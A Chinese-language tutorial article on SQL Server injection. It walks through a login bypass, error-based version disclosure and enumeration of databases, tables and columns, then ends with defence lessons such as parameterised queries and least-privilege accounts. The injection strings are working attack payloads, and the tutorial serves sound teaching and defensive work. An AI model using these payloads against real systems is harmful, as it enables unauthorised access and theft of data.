首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入全流程深度分析:從繞過登入到資料竊取完整實戰複現

     編輯:關於SqlServer

實驗環境

公司內部網站登入頁:帳號、密碼、公司名三個輸入框。後端 SQL 推測:

SELECT * FROM Users WHERE Name='XX' AND Password='YY' AND Corp='ZZ'

階段一:繞過驗證直接登入

輸入: 使用者名亂填、密碼留空、公司名輸入:

' OR 1=1--

生成 SQL:

SELECT * FROM Users WHERE Name='X' AND Password='' AND Corp='' OR 1=1--'

原理: 單引號閉合、-- 註解掉尾部引號、1=1 永真條件。成功以匿名身分登入。

階段二:利用錯誤回顯獲取資訊

輸入:

' OR 1=(SELECT @@VERSION)--

錯誤回顯:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64)...' to data type int.

洩露: 完整 SQL Server 版本、作業系統資訊。

階段三:枚舉資料庫、資料表、欄位

獲取資料庫名:

' OR 1=(SELECT TOP 1 Name FROM Master..SysDatabases WHERE Name NOT IN (SELECT TOP 0 Name FROM Master..SysDatabases))--

錯誤回顯:Conversion failed ... value 'master' to data type int → 獲得 master。遞增 TOP N 遍歷所有資料庫。

獲取資料表名:

' OR 1=(SELECT TOP 1 Name FROM Master..SysObjects WHERE XType='U' AND Name NOT IN (SELECT TOP 1 Name FROM Master..SysObjects WHERE XType='U'))--

獲得 spt_fallback_db 等系統表名。

獲取欄位名:

' OR 1=(SELECT TOP 1 Master..SysColumns.Name FROM Master..SysColumns, Master..SysObjects WHERE Master..SysColumns.Id=Master..SysObjects.Id AND Master..SysObjects.Name='spt_fallback_db')--

獲得 xserver_name 等欄位名。

階段四:竊取業務資料

掌握結構後,可構造查詢提取任意表資料(略)。

核心教訓

  1. 永不信任使用者輸入:所有輸入視為惡意
  2. 客戶端驗證 ≠ 安全:瀏覽器可繞過(開發者工具、攔截代理)
  3. 錯誤訊息不可外洩:生產環境關閉詳細錯誤,統一友善提示

補充防禦

  • 注入向量不限輸入框,URL 參數、Cookie、Header 同樣危險
  • 除錯誤回顯,盲注、時間盲注 同樣可提取資料
  • 自動化工具(SQLMap 等)掃描速度遠超人工
  • 語言/框架無關,參數化查詢 是根本對策

防禦清單

  • ✅ 所有查詢使用參數化(sp_executesql、PreparedStatement、ORM 參數綁定)
  • ✅ 最小權限資料庫帳號(禁止 SA、DBO 連線應用)
  • ✅ WAF/輸入過濾作為第二防線
  • ✅ 定期滲透測試與代碼審計
  • ✅ 錯誤頁面統一處理,不洩露堆疊/資料庫結構

總結

SQL 注入從登入繞過 → 錯誤回顯 → 結構枚舉 → 資料竊取 形成完整攻擊鏈。核心防禦:參數化查詢 + 最小權限 + 錯誤資訊隱藏。無銀彈,需纵深防禦。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved